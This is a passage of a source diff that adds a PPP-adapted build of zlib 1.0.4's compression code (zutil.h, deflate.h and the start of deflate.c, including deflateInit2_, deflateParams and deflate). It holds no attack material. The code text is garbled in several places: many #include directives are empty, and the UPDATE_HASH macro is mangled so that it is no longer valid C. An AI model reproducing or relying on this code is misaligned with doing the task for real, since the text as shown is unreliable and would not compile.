err; - } - *destLen = stream.total_out; - - err = inflateEnd(&stream); - return err; -} +/* + * This file is derived from various .h and .c files from the zlib-1.0.4 + * distribution by Jean-loup Gailly and Mark Adler, with some additions + * by Paul Mackerras to aid in implementing Deflate compression and + * decompression for PPP packets. See zlib.h for conditions of + * distribution and use. + * + * Changes that have been made include: + * - added Z_PACKET_FLUSH (see zlib.h for details) + * - added inflateIncomp and deflateOutputPending + * - allow strm->next_out to be NULL, meaning discard the output + * + */ +#include "common.h" +/* + * ==FILEVERSION 971210== + * + * This marker is used by the Linux installation script to determine + * whether an up-to-date version of this file is already installed. + */ + +#define NO_DUMMY_DECL + +#ifndef MIN +/* Macros for min/max. */ +#define MIN(a,b) (((a)<(b))?(a):(b)) +#define MAX(a,b) (((a)>(b))?(a):(b)) +#endif + +/* +++ zutil.h */ +/*- + * zutil.h -- internal interface and configuration of the compression library + * Copyright (C) 1995-1996 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* From: zutil.h,v 1.16 1996/07/24 13:41:13 me Exp $ */ + +#ifndef _Z_UTIL_H +#define _Z_UTIL_H + +#include "zlib.h" + +#ifdef _KERNEL +/* Assume this is a *BSD or SVR4 kernel */ +#include +#include +#include +#include +#include +#include +# define HAVE_MEMCPY + +#else +#if defined(__KERNEL__) +/* Assume this is a Linux kernel */ +#include +#define HAVE_MEMCPY + +#else /* not kernel */ + +#include +#include + +#ifdef STDC +# include +# include +#endif +#endif /* __KERNEL__ */ +#endif /* _KERNEL */ + +#ifndef local +# define local static +#endif +/* compile with -Dlocal if your debugger can't find static symbols */ + +typedef unsigned char uch; +typedef uch FAR uchf; +typedef unsigned short ush; +typedef ush FAR ushf; +typedef unsigned long ulg; + +static const char *z_errmsg[10]; /* indexed by 2-zlib_error */ +/* (size given to avoid silly warnings with Visual C++) */ + +#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)] + +#define ERR_RETURN(strm,err) \ + return (strm->msg = (const char*)ERR_MSG(err), (err)) +/* To be used only when the state is known to be valid */ + + /* common constants */ + +#ifndef DEF_WBITS +# define DEF_WBITS MAX_WBITS +#endif +/* default windowBits for decompression. MAX_WBITS is for compression only */ + +#if MAX_MEM_LEVEL >= 8 +# define DEF_MEM_LEVEL 8 +#else +# define DEF_MEM_LEVEL MAX_MEM_LEVEL +#endif +/* default memLevel */ + +#define STORED_BLOCK 0 +#define STATIC_TREES 1 +#define DYN_TREES 2 +/* The three kinds of block type */ + +#define MIN_MATCH 3 +#define MAX_MATCH 258 +/* The minimum and maximum match lengths */ + +#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */ + + /* target dependencies */ + +#ifdef MSDOS +# define OS_CODE 0x00 +# ifdef __TURBOC__ +# include +# else /* MSC or DJGPP */ +# include +# endif +#endif + +#ifdef OS2 +# define OS_CODE 0x06 +#endif + +#ifdef WIN32 /* Window 95 & Windows NT */ +# define OS_CODE 0x0b +#endif + +#if defined(VAXC) || defined(VMS) +# define OS_CODE 0x02 +# define FOPEN(name, mode) \ + fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512") +#endif + +#ifdef AMIGA +# define OS_CODE 0x01 +#endif + +#if defined(ATARI) || defined(atarist) +# define OS_CODE 0x05 +#endif + +#ifdef MACOS +# define OS_CODE 0x07 +#endif + +#ifdef __50SERIES /* Prime/PRIMOS */ +# define OS_CODE 0x0F +#endif + +#ifdef TOPS20 +# define OS_CODE 0x0a +#endif + +#if defined(_BEOS_) || defined(RISCOS) +# define fdopen(fd,mode) NULL /* No fdopen() */ +#endif + + /* Common defaults */ + +#ifndef OS_CODE +# define OS_CODE 0x03 /* assume Unix */ +#endif + +#ifndef FOPEN +# define FOPEN(name, mode) fopen((name), (mode)) +#endif + + /* functions */ + +#ifdef HAVE_STRERROR + extern char *strerror OF((int)); +# define zstrerror(errnum) strerror(errnum) +#else +# define zstrerror(errnum) "" +#endif + +#if defined(pyr) +# define NO_MEMCPY +#endif +#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(_MSC_VER) + /* Use our own functions for small and medium model with MSC <= 5.0. + * You may have to use the same strategy for Borland C (untested). + */ +# define NO_MEMCPY +#endif +#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY) +# define HAVE_MEMCPY +#endif +#ifdef HAVE_MEMCPY +# ifdef SMALL_MEDIUM /* MSDOS small or medium model */ +# define zmemcpy _fmemcpy +# define zmemcmp _fmemcmp +# define zmemzero(dest, len) _fmemset(dest, 0, len) +# else +# define zmemcpy memcpy +# define zmemcmp memcmp +# define zmemzero(dest, len) memset(dest, 0, len) +# endif +#else + extern void zmemcpy OF((Bytef* dest, Bytef* source, uInt len)); + extern int zmemcmp OF((Bytef* s1, Bytef* s2, uInt len)); + extern void zmemzero OF((Bytef* dest, uInt len)); +#endif + +/* Diagnostic functions */ +#ifdef DEBUG_ZLIB +# include +# ifndef verbose +# define verbose 0 +# endif + extern void z_error OF((char *m)); +# define Assert(cond,msg) {if(!(cond)) z_error(msg);} +# define Trace(x) fprintf x +# define Tracev(x) {if (verbose) fprintf x ;} +# define Tracevv(x) {if (verbose>1) fprintf x ;} +# define Tracec(c,x) {if (verbose && (c)) fprintf x ;} +# define Tracecv(c,x) {if (verbose>1 && (c)) fprintf x ;} +#else +# define Assert(cond,msg) +# define Trace(x) +# define Tracev(x) +# define Tracevv(x) +# define Tracec(c,x) +# define Tracecv(c,x) +#endif + + +typedef uLong (*check_func) OF((uLong check, const Bytef *buf, uInt len)); + +voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size)); +void zcfree OF((voidpf opaque, voidpf ptr)); + +#define ZALLOC(strm, items, size) \ + (*((strm)->zalloc))((strm)->opaque, (items), (size)) +#define ZFREE(strm, addr) (*((strm)->zfree))((strm)->opaque, (voidpf)(addr)) +#define TRY_FREE(s, p) {if (p) ZFREE(s, p);} + +#endif /* _Z_UTIL_H */ +/* --- zutil.h */ + +/* +++ deflate.h */ +/* deflate.h -- internal compression state + * Copyright (C) 1995-1996 Jean-loup Gailly + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* From: deflate.h,v 1.10 1996/07/02 12:41:00 me Exp $ */ + +#ifndef _DEFLATE_H +#define _DEFLATE_H + +/* #include "zutil.h" */ + +/* =========================================================================== + * Internal compression state. + */ + +#define LENGTH_CODES 29 +/* number of length codes, not counting the special END_BLOCK code */ + +#define LITERALS 256 +/* number of literal bytes 0..255 */ + +#define L_CODES (LITERALS+1+LENGTH_CODES) +/* number of Literal or Length codes, including the END_BLOCK code */ + +#define D_CODES 30 +/* number of distance codes */ + +#define BL_CODES 19 +/* number of codes used to transfer the bit lengths */ + +#define HEAP_SIZE (2*L_CODES+1) +/* maximum heap size */ + +#define MAX_BITS 15 +/* All codes must not exceed MAX_BITS bits */ + +#define INIT_STATE 42 +#define BUSY_STATE 113 +#define FINISH_STATE 666 +/* Stream status */ + + +/* Data structure describing a single value and its code string. */ +typedef struct ct_data_s { + union { + ush freq; /* frequency count */ + ush code; /* bit string */ + } fc; + union { + ush dad; /* father node in Huffman tree */ + ush len; /* length of bit string */ + } dl; +} FAR ct_data; + +#define Freq fc.freq +#define Code fc.code +#define Dad dl.dad +#define Len dl.len + +typedef struct static_tree_desc_s static_tree_desc; + +typedef struct tree_desc_s { + ct_data *dyn_tree; /* the dynamic tree */ + int max_code; /* largest code with non zero frequency */ + static_tree_desc *stat_desc; /* the corresponding static tree */ +} FAR tree_desc; + +typedef ush Pos; +typedef Pos FAR Posf; +typedef unsigned IPos; + +/* A Pos is an index in the character window. We use short instead of int to + * save space in the various tables. IPos is used only for parameter passing. + */ + +typedef struct deflate_state { + z_streamp strm; /* pointer back to this zlib stream */ + int status; /* as the name implies */ + Bytef *pending_buf; /* output still pending */ + ulg pending_buf_size; /* size of pending_buf */ + Bytef *pending_out; /* next pending byte to output to the stream */ + int pending; /* nb of bytes in the pending buffer */ + int noheader; /* suppress zlib header and adler32 */ + Byte data_type; /* UNKNOWN, BINARY or ASCII */ + Byte method; /* STORED (for zip only) or DEFLATED */ + int last_flush; /* value of flush param for previous deflate call */ + + /* used by deflate.c: */ + + uInt w_size; /* LZ77 window size (32K by default) */ + uInt w_bits; /* log2(w_size) (8..16) */ + uInt w_mask; /* w_size - 1 */ + + Bytef *window; + /* Sliding window. Input bytes are read into the second half of the window, + * and move to the first half later to keep a dictionary of at least wSize + * bytes. With this organization, matches are limited to a distance of + * wSize-MAX_MATCH bytes, but this ensures that IO is always + * performed with a length multiple of the block size. Also, it limits + * the window size to 64K, which is quite useful on MSDOS. + * To do: use the user input buffer as sliding window. + */ + + ulg window_size; + /* Actual size of window: 2*wSize, except when the user input buffer + * is directly used as sliding window. + */ + + Posf *prev; + /* Link to older string with same hash index. To limit the size of this + * array to 64K, this link is maintained only for the last 32K strings. + * An index in this array is thus a window index modulo 32K. + */ + + Posf *head; /* Heads of the hash chains or NIL. */ + + uInt ins_h; /* hash index of string to be inserted */ + uInt hash_size; /* number of elements in hash table */ + uInt hash_bits; /* log2(hash_size) */ + uInt hash_mask; /* hash_size-1 */ + + uInt hash_shift; + /* Number of bits by which ins_h must be shifted at each input + * step. It must be such that after MIN_MATCH steps, the oldest + * byte no longer takes part in the hash key, that is: + * hash_shift * MIN_MATCH >= hash_bits + */ + + long block_start; + /* Window position at the beginning of the current output block. Gets + * negative when the window is moved backwards. + */ + + uInt match_length; /* length of best match */ + IPos prev_match; /* previous match */ + int match_available; /* set if previous match exists */ + uInt strstart; /* start of string to insert */ + uInt match_start; /* start of matching string */ + uInt lookahead; /* number of valid bytes ahead in window */ + + uInt prev_length; + /* Length of the best match at previous step. Matches not greater than this + * are discarded. This is used in the lazy match evaluation. + */ + + uInt max_chain_length; + /* To speed up deflation, hash chains are never searched beyond this + * length. A higher limit improves compression ratio but degrades the + * speed. + */ + + uInt max_lazy_match; + /* Attempt to find a better match only when the current match is strictly + * smaller than this value. This mechanism is used only for compression + * levels >= 4. + */ +# define max_insert_length max_lazy_match + /* Insert new strings in the hash table only if the match length is not + * greater than this length. This saves time but degrades compression. + * max_insert_length is used only for compression levels <= 3. + */ + + int level; /* compression level (1..9) */ + int strategy; /* favor or force Huffman coding*/ + + uInt good_match; + /* Use a faster search when the previous match is longer than this */ + + int nice_match; /* Stop searching when current match exceeds this */ + + /* used by trees.c: */ + /* Didn't use ct_data typedef below to supress compiler warning */ + struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ + struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ + struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ + + struct tree_desc_s l_desc; /* desc. for literal tree */ + struct tree_desc_s d_desc; /* desc. for distance tree */ + struct tree_desc_s bl_desc; /* desc. for bit length tree */ + + ush bl_count[MAX_BITS+1]; + /* number of codes at each bit length for an optimal tree */ + + int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ + int heap_len; /* number of elements in the heap */ + int heap_max; /* element of largest frequency */ + /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. + * The same heap array is used to build all trees. + */ + + uch depth[2*L_CODES+1]; + /* Depth of each subtree used as tie breaker for trees of equal frequency + */ + + uchf *l_buf; /* buffer for literals or lengths */ + + uInt lit_bufsize; + /* Size of match buffer for literals/lengths. There are 4 reasons for + * limiting lit_bufsize to 64K: + * - frequencies can be kept in 16 bit counters + * - if compression is not successful for the first block, all input + * data is still in the window so we can still emit a stored block even + * when input comes from standard input. (This can also be done for + * all blocks if lit_bufsize is not greater than 32K.) + * - if compression is not successful for a file smaller than 64K, we can + * even emit a stored file instead of a stored block (saving 5 bytes). + * This is applicable only for zip (not gzip or zlib). + * - creating new Huffman trees less frequently may not provide fast + * adaptation to changes in the input data statistics. (Take for + * example a binary file with poorly compressible code followed by + * a highly compressible string table.) Smaller buffer sizes give + * fast adaptation but have of course the overhead of transmitting + * trees more frequently. + * - I can't count above 4 + */ + + uInt last_lit; /* running index in l_buf */ + + ushf *d_buf; + /* Buffer for distances. To simplify the code, d_buf and l_buf have + * the same number of elements. To use different lengths, an extra flag + * array would be necessary. + */ + + ulg opt_len; /* bit length of current block with optimal trees */ + ulg static_len; /* bit length of current block with static trees */ + ulg compressed_len; /* total bit length of compressed file */ + uInt matches; /* number of string matches in current block */ + int last_eob_len; /* bit length of EOB code for last block */ + +#ifdef DEBUG_ZLIB + ulg bits_sent; /* bit length of the compressed data */ +#endif + + ush bi_buf; + /* Output buffer. bits are inserted starting at the bottom (least + * significant bits). + */ + int bi_valid; + /* Number of valid bits in bi_buf. All bits above the last valid bit + * are always zero. + */ + +} FAR deflate_state; + +/* Output a byte on the stream. + * IN assertion: there is enough room in pending_buf. + */ +#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);} + + +#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) +/* Minimum amount of lookahead, except at the end of the input file. + * See deflate.c for comments about the MIN_MATCH+1. + */ + +#define MAX_DIST(s) ((s)->w_size-MIN_LOOKAHEAD) +/* In order to simplify the code, particularly on 16 bit machines, match + * distances are limited to MAX_DIST instead of WSIZE. + */ + + /* in trees.c */ +void _tr_init OF((deflate_state *s)); +int _tr_tally OF((deflate_state *s, unsigned dist, unsigned lc)); +ulg _tr_flush_block OF((deflate_state *s, charf *buf, ulg stored_len, + int eof)); +void _tr_align OF((deflate_state *s)); +void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len, + int eof)); +void _tr_stored_type_only OF((deflate_state *)); + +#endif +/* --- deflate.h */ + +/* +++ deflate.c */ +/* deflate.c -- compress data using the deflation algorithm + * Copyright (C) 1995-1996 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* + * ALGORITHM + * + * The "deflation" process depends on being able to identify portions + * of the input text which are identical to earlier input (within a + * sliding window trailing behind the input currently being processed). + * + * The most straightforward technique turns out to be the fastest for + * most input files: try all possible matches and select the longest. + * The key feature of this algorithm is that insertions into the string + * dictionary are very simple and thus fast, and deletions are avoided + * completely. Insertions are performed at each input character, whereas + * string matches are performed only when the previous match ends. So it + * is preferable to spend more time in matches to allow very fast string + * insertions and avoid deletions. The matching algorithm for small + * strings is inspired from that of Rabin & Karp. A brute force approach + * is used to find longer strings when a small match has been found. + * A similar algorithm is used in comic (by Jan-Mark Wams) and freeze + * (by Leonid Broukhis). + * A previous version of this file used a more sophisticated algorithm + * (by Fiala and Greene) which is guaranteed to run in linear amortized + * time, but has a larger average cost, uses more memory and is patented. + * However the F&G algorithm may be faster for some highly redundant + * files if the parameter max_chain_length (described below) is too large. + * + * ACKNOWLEDGEMENTS + * + * The idea of lazy evaluation of matches is due to Jan-Mark Wams, and + * I found it in 'freeze' written by Leonid Broukhis. + * Thanks to many people for bug reports and testing. + * + * REFERENCES + * + * Deutsch, L.P.,"DEFLATE Compressed Data Format Specification". + * Available in ftp://ds.internic.net/rfc/rfc1951.txt + * + * A description of the Rabin and Karp algorithm is given in the book + * "Algorithms" by R. Sedgewick, Addison-Wesley, p252. + * + * Fiala,E.R., and Greene,D.H. + * Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595 + * + */ + +/* From: deflate.c,v 1.15 1996/07/24 13:40:58 me Exp $ */ + +/* #include "deflate.h" */ + +char deflate_copyright[] = " deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly "; +/* + If you use the zlib library in a product, an acknowledgment is welcome + in the documentation of your product. If for some reason you cannot + include such an acknowledgment, I would appreciate that you keep this + copyright string in the executable of your product. + */ + +/* =========================================================================== + * Function prototypes. + */ +typedef enum { + need_more, /* block not completed, need more input or more output */ + block_done, /* block flush performed */ + finish_started, /* finish started, need only more output at next deflate */ + finish_done /* finish done, accept no more input or output */ +} block_state; + +typedef block_state (*compress_func) OF((deflate_state *s, int flush)); +/* Compression function. Returns the block state after the call. */ + +local void fill_window OF((deflate_state *s)); +local block_state deflate_stored OF((deflate_state *s, int flush)); +local block_state deflate_fast OF((deflate_state *s, int flush)); +local block_state deflate_slow OF((deflate_state *s, int flush)); +local void lm_init OF((deflate_state *s)); +local void putShortMSB OF((deflate_state *s, uInt b)); +local void flush_pending OF((z_streamp strm)); +local int read_buf OF((z_streamp strm, charf *buf, unsigned size)); +#ifdef ASMV + void match_init OF((void)); /* asm code initialization */ + uInt longest_match OF((deflate_state *s, IPos cur_match)); +#else +local uInt longest_match OF((deflate_state *s, IPos cur_match)); +#endif + +#ifdef DEBUG_ZLIB +local void check_match OF((deflate_state *s, IPos start, IPos match, + int length)); +#endif + +/* =========================================================================== + * Local data + */ + +#define NIL 0 +/* Tail of hash chains */ + +#ifndef TOO_FAR +# define TOO_FAR 4096 +#endif +/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */ + +#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) +/* Minimum amount of lookahead, except at the end of the input file. + * See deflate.c for comments about the MIN_MATCH+1. + */ + +/* Values for max_lazy_match, good_match and max_chain_length, depending on + * the desired pack level (0..9). The values given below have been tuned to + * exclude worst case performance for pathological files. Better values may be + * found for specific files. + */ +typedef struct config_s { + ush good_length; /* reduce lazy search above this match length */ + ush max_lazy; /* do not perform lazy search above this match length */ + ush nice_length; /* quit search above this match length */ + ush max_chain; + compress_func func; +} config; + +local config configuration_table[10] = { +/* good lazy nice chain */ +/* 0 */ {0, 0, 0, 0, deflate_stored}, /* store only */ +/* 1 */ {4, 4, 8, 4, deflate_fast}, /* maximum speed, no lazy matches */ +/* 2 */ {4, 5, 16, 8, deflate_fast}, +/* 3 */ {4, 6, 32, 32, deflate_fast}, + +/* 4 */ {4, 4, 16, 16, deflate_slow}, /* lazy matches */ +/* 5 */ {8, 16, 32, 32, deflate_slow}, +/* 6 */ {8, 16, 128, 128, deflate_slow}, +/* 7 */ {8, 32, 128, 256, deflate_slow}, +/* 8 */ {32, 128, 258, 1024, deflate_slow}, +/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */ + +/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4 + * For deflate_fast() (levels <= 3) good is ignored and lazy has a different + * meaning. + */ + +#define EQUAL 0 +/* result of memcmp for equal strings */ + +#ifndef NO_DUMMY_DECL +struct static_tree_desc_s {int dummy;}; /* for buggy compilers */ +#endif + +/* =========================================================================== + * Update a hash value with the given input byte + * IN assertion: all calls to to UPDATE_HASH are made with consecutive + * input characters, so that a running hash key can be computed from the + * previous key instead of complete recalculation each time. + */ +#define UPDATE_HASH(s,h,c) (h = (((h)<hash_shift) ^ (c)) & s->hash_mask) + + +/* =========================================================================== + * Insert string str in the dictionary and set match_head to the previous head + * of the hash chain (the most recent string with same hash key). Return + * the previous length of the hash chain. + * IN assertion: all calls to to INSERT_STRING are made with consecutive + * input characters and the first MIN_MATCH bytes of str are valid + * (except for the last MIN_MATCH-1 bytes of the input file). + */ +#define INSERT_STRING(s, str, match_head) \ + (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \ + s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \ + s->head[s->ins_h] = (Pos)(str)) + +/* =========================================================================== + * Initialize the hash table (avoiding 64K overflow for 16 bit systems). + * prev[] will be initialized on the fly. + */ +#define CLEAR_HASH(s) \ + s->head[s->hash_size-1] = NIL; \ + zmemzero((charf *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head)); + +/* ========================================================================= */ +int deflateInit_(strm, level, version, stream_size) + z_streamp strm; + int level; + const char *version; + int stream_size; +{ + return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, + Z_DEFAULT_STRATEGY, version, stream_size); + /* To do: ignore strm->next_in if we use it as window */ +} + +/* ========================================================================= */ +int deflateInit2_(z_streamp strm, int level, int method, int windowBits, + int memLevel, int strategy, const char *version, int stream_size) +{ + deflate_state *s; + int noheader = 0; + static char* my_version = ZLIB_VERSION; + + ushf *overlay; + /* We overlay pending_buf and d_buf+l_buf. This works since the average + * output size for (length,distance) codes is <= 24 bits. + */ + + if (version == Z_NULL || version[0] != my_version[0] || + stream_size != sizeof(z_stream)) { + return Z_VERSION_ERROR; + } + if (strm == Z_NULL) return Z_STREAM_ERROR; + + strm->msg = Z_NULL; +#ifndef NO_ZCFUNCS + if (strm->zalloc == Z_NULL) { + strm->zalloc = zcalloc; + strm->opaque = (voidpf)0; + } + if (strm->zfree == Z_NULL) strm->zfree = zcfree; +#endif + + if (level == Z_DEFAULT_COMPRESSION) level = 6; + + if (windowBits < 0) { /* undocumented feature: suppress zlib header */ + noheader = 1; + windowBits = -windowBits; + } + if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || + windowBits < 9 || windowBits > 15 || level < 0 || level > 9 || + strategy < 0 || strategy > Z_HUFFMAN_ONLY) { + return Z_STREAM_ERROR; + } + s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); + if (s == Z_NULL) return Z_MEM_ERROR; + strm->state = (struct internal_state FAR *)s; + s->strm = strm; + + s->noheader = noheader; + s->w_bits = windowBits; + s->w_size = 1 << s->w_bits; + s->w_mask = s->w_size - 1; + + s->hash_bits = memLevel + 7; + s->hash_size = 1 << s->hash_bits; + s->hash_mask = s->hash_size - 1; + s->hash_shift = ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH); + + s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); + s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); + s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos)); + + s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ + + overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); + s->pending_buf = (uchf *) overlay; + s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L); + + if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || + s->pending_buf == Z_NULL) { + strm->msg = (const char*)ERR_MSG(Z_MEM_ERROR); + deflateEnd (strm); + return Z_MEM_ERROR; + } + s->d_buf = overlay + s->lit_bufsize/sizeof(ush); + s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; + + s->level = level; + s->strategy = strategy; + s->method = (Byte)method; + + return deflateReset(strm); +} + +/* ========================================================================= */ +int deflateSetDictionary(z_streamp strm, const Bytef *dictionary, uInt dictLength) +{ + deflate_state *s; + uInt length = dictLength; + uInt n; + IPos hash_head = 0; + + if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL) + return Z_STREAM_ERROR; + + s = (deflate_state *) strm->state; + if (s->status != INIT_STATE) return Z_STREAM_ERROR; + + strm->adler = adler32(strm->adler, dictionary, dictLength); + + if (length < MIN_MATCH) return Z_OK; + if (length > MAX_DIST(s)) { + length = MAX_DIST(s); +#ifndef USE_DICT_HEAD + dictionary += dictLength - length; /* use the tail of the dictionary */ +#endif + } + zmemcpy((charf *)s->window, dictionary, length); + s->strstart = length; + s->block_start = (long)length; + + /* Insert all strings in the hash table (except for the last two bytes). + * s->lookahead stays null, so s->ins_h will be recomputed at the next + * call of fill_window. + */ + s->ins_h = s->window[0]; + UPDATE_HASH(s, s->ins_h, s->window[1]); + for (n = 0; n <= length - MIN_MATCH; n++) { + INSERT_STRING(s, n, hash_head); + } + if (hash_head) hash_head = 0; /* to make compiler happy */ + return Z_OK; +} + +/* ========================================================================= */ +int deflateReset(z_streamp strm) +{ + deflate_state *s; + + if (strm == Z_NULL || strm->state == Z_NULL || + strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR; + + strm->total_in = strm->total_out = 0; + strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */ + strm->data_type = Z_UNKNOWN; + + s = (deflate_state *)strm->state; + s->pending = 0; + s->pending_out = s->pending_buf; + + if (s->noheader < 0) { + s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */ + } + s->status = s->noheader ? BUSY_STATE : INIT_STATE; + strm->adler = 1; + s->last_flush = Z_NO_FLUSH; + + _tr_init(s); + lm_init(s); + + return Z_OK; +} + +/* ========================================================================= */ +int deflateParams(z_streamp strm, int level, int strategy) +{ + deflate_state *s; + compress_func func; + int err = Z_OK; + + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; + s = (deflate_state *) strm->state; + + if (level == Z_DEFAULT_COMPRESSION) { + level = 6; + } + if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) { + return Z_STREAM_ERROR; + } + func = configuration_table[s->level].func; + + if (func != configuration_table[level].func && strm->total_in != 0) { + /* Flush the last buffer: */ + err = deflate(strm, Z_PARTIAL_FLUSH); + } + if (s->level != level) { + s->level = level; + s->max_lazy_match = configuration_table[level].max_lazy; + s->good_match = configuration_table[level].good_length; + s->nice_match = configuration_table[level].nice_length; + s->max_chain_length = configuration_table[level].max_chain; + } + s->strategy = strategy; + return err; +} + +/* ========================================================================= + * Put a short in the pending buffer. The 16-bit value is put in MSB order. + * IN assertion: the stream state is correct and there is enough room in + * pending_buf. + */ +local void putShortMSB (deflate_state *s, uInt b) +{ + put_byte(s, (Byte)(b >> 8)); + put_byte(s, (Byte)(b & 0xff)); +} + +/* ========================================================================= + * Flush as much pending output as possible. All deflate() output goes + * through this function so some applications may wish to modify it + * to avoid allocating a large strm->next_out buffer and copying into it. + * (See also read_buf()). + */ +local void flush_pending(z_streamp strm) +{ + deflate_state *s = (deflate_state *) strm->state; + unsigned len = s->pending; + + if (len > strm->avail_out) len = strm->avail_out; + if (len == 0) return; + + if (strm->next_out != Z_NULL) { + zmemcpy(strm->next_out, s->pending_out, len); + strm->next_out += len; + } + s->pending_out += len; + strm->total_out += len; + strm->avail_out -= len; + s->pending -= len; + if (s->pending == 0) { + s->pending_out = s->pending_buf; + } +} + +/* ========================================================================= */ +int deflate (z_streamp strm, int flush) +{ + int old_flush; /* value of flush param for previous deflate call */ + deflate_state *s; + + if (strm == Z_NULL || strm->state == Z_NULL || + flush > Z_FINISH || flush < 0) { + return Z_STREAM_ERROR; + } + s = (deflate_state *) strm->state; + + if ((strm->next_in == Z_NULL && strm->avail_in != 0) || + (s->status == FINISH_STATE && flush != Z_FINISH)) { + ERR_RETURN(strm, Z_STREAM_ERROR); + } + if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR); + + s->strm = strm; /* just in case */ + old_flush = s->last_flush; + s->last_flush = flush; + + /* Write the zlib header */ + if (s->status == INIT_STATE) { + + uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; + uInt level_flags = (s->level-1) >> 1; + + if (level_flags > 3) level_flags = 3; + header |= (level_flags << 6); + if (s->strstart != 0) header |= PRESET_DICT; + header += 31 - (header % 31); + + s->status = BUSY_STATE; + putShortMSB(s, header); + + /* Save the adler32 of the preset dictionary: */ + if (s->strstart != 0) { + putShortMSB(s, (uInt)(strm->adler >> 16)); + putShortMSB(s, (uInt)(strm->adler & 0xffff)); + } + strm->adler = 1L; + } + + /* Flush as much pending output as possible */ + if (s->pending != 0) { + flush_pending(strm); + if (strm->avail_out == 0) { + /* Since avail_out is 0, deflate will be called again with + * more output space, but possibly with both pending and + * avail_in equal to zero. There won't be anything to do, + * but this is not an error situation so make sure we + * return OK instead of BUF_ERROR at next call of deflate: + */ + s->last_flush = -1; + return Z_OK; + } + + /* Make sure there is something to do and avoid duplicate consecutive + * flushes. For repeated and useless calls with Z_FINISH, we keep + * returning Z_STREAM_END instead of Z_BUFF_ERROR. + */ + } else if (strm->avail_in == 0 && flush <= old_flush && + flush != Z_FINISH) { + ERR_RETURN(strm, Z_BUF_ERROR); + } + + /* User must not provide more input after the first FINISH: */ + if (s->status == FINISH_STATE && strm->avail_in != 0) { + ERR_RETURN(strm, Z_BUF_ERROR); + } + + /* Start a new block or continue the current one. + */ + if (strm->avail_in != 0 || s->lookahead != 0 || + (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) { + block_state bstate; + + bstate = (*(configuration_table[s->level].func))(s, flush); + + if (bstate == finish_started || bstate == finish_done) { + s->status = FINISH_STATE; + } + if (bstate == need_more || bstate == finish_started) { + if (strm->avail_out == 0) { + s->last_flush = -1; /* avoid BUF_ERROR next call, see above */ + } + return Z_OK; + /* If flush != Z_NO_FLUSH && avail_out == 0, the next call + * of deflate should use the same flush parameter to make sure + * that the flush is complete. So we don't have to output an + * empty block here, this will be done at next call. This also + * ensures that for a very small output buffer, we emit at most + * one empty block. + */ + } + if (bstate == block_done) { + if (flush == Z_PARTIAL_FLUSH) { + _tr_align(s); + } else if (flush == Z_PACKET_FLUSH) { + /* Output just the 3-bit `stored' block type value, + but not a zero length. */ + _tr_stored_type_only(s); + } else { /* FULL_FLUSH or SYNC_FLUSH */ + _tr_stored_block(s, (char*)0, 0L, 0); + /* For a full flush, this empty block will be recognized + * as a special marker by inflate_sync(). + */ + if (flush == Z_FULL_FLUSH) { + CLEAR_HASH(s); /* forget history */ + } + } + flush_pending(strm); + if (strm->avail_out == 0) { + s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */ + return Z_OK; + } + } + } + Assert(strm->avail_out > 0, "bug2"); + + if (flush != Z_FINISH) return Z_OK; + if (s->noheader) return Z_STREAM_END; + + /* Write the zlib trailer (adler32) */ + putShortMSB(s, (uInt)(strm->adler >> 16)); + putShortMSB(s, (uInt)(strm->adler & 0xffff)); 